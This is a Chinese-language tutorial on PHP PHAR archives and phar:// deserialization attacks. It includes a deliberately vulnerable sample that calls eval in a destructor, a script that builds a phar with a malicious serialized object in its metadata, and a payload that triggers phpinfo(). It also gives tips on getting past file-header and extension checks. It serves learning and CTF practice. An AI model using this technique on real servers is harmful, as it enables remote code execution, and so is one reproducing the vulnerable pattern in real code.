0x00 前言

当学习感到吃力且无趣时,正是学到深处时,当不畏艰苦、细细研究。

0x01 phar概述

phar文件介绍

PHAR(PHP Archive)是一种将多个 PHP 文件和资源打包成一个单独文件的格式,类似于 Java 的 JAR 文件。其用于打包 PHP 项目,使其更易于分发和部署。

phar文件结构

大体上来说,phar文件结构由四部分组成:

  1. stub :phar文件标识
  2. a manifest describing the content : 描述文件内容的清单
  3. the file contents : 存储的文件内容
  4. [optional] a signature for verifying Phar integrity (phar file format only) :用于验证 PHAR 文件完整性的签名(仅适用于 PHAR 文件格式)

1. stub

格式为:xxx<?php xxx; __HALT_COMPILER();?>,xxx的内容不限,但是必须以 __HALT_COMPILER();?>结尾,不然phar扩展无法把该文件识别为phar文件。

php标签前面的xxx如果是对应的文件头,便可以绕过文件头识别限制,同时还会被phar函数识别利用。

2. a manifest describing the content

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

这里可以存放meta-data(元数据),phar反序列化攻击手法关键的一步就是在元数据里添加恶意的序列化数据。

3. the file contents
被压缩文件的内容,随便写写就好了。

4. [optional] a signature for verifying Phar integrity (phar file format only)

签名,放在文件末尾,格式如下

image-20241022151816217

phar文件生成

这里生成的phar文件的形式更倾向于漏洞利用所需要的形式

image-20241022165712690

phar.phar文件结构如下:

image-20241022165827329

.metadata.bin文件内只有一段代码:

1
O:3:"man":0:{}

0x02 phar漏洞

漏洞原理

概述

当phar文件内的元数据被反序列化,在一定条件下可以执行反序列化漏洞。

触发

那首先要怎么触发phar的反序列化呢?

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

image-20241022170432464

所以只要在这些函数里使用phar://伪协议,phar文件的元数据会自动进行反序列化,届时就可以进行反序列化漏洞了。

利用条件

谈漏洞不谈利用条件就是纸上谈兵。

  1. 首先,必须要能上传phar文件到服务器
  2. 然后,要存在可以触发phar反序列,并且可以被我们利用的触发函数(见上表)
  3. 再者,要保证能绕过对应的限制

漏洞实例

假设我们可以在服务器成功上传phar文件时,在index.php有如下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

class test{
public $name='';
public function __wakeup() {
// 反序列化后执行的代码
echo "对象已反序列化!";
}
public function __destruct()
{
echo "enter to : __destruct!";
eval($this->name);
}
}

echo file_get_contents($_POST['filename']);
?>

那我们的生成phar的文件应该这样编写:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class test{
public $name='phpinfo();';
}
$phar=new phar('test.phar');//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$obj=new test();
$phar->setMetadata($obj);//自定义的meta-data存入manifest
$phar->addFromString("flag.txt","flag");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

最后的payoad:

filename=phar://test.phar/flag.txt

结果:成功执行phpinfo()函数

image-20241022202604422

再进阶一点就是把phar文件后缀名修改成其他文件的后缀名,这都不影响该文件解析成phar文件。

0x04 结语

复现题目,实在苛刻。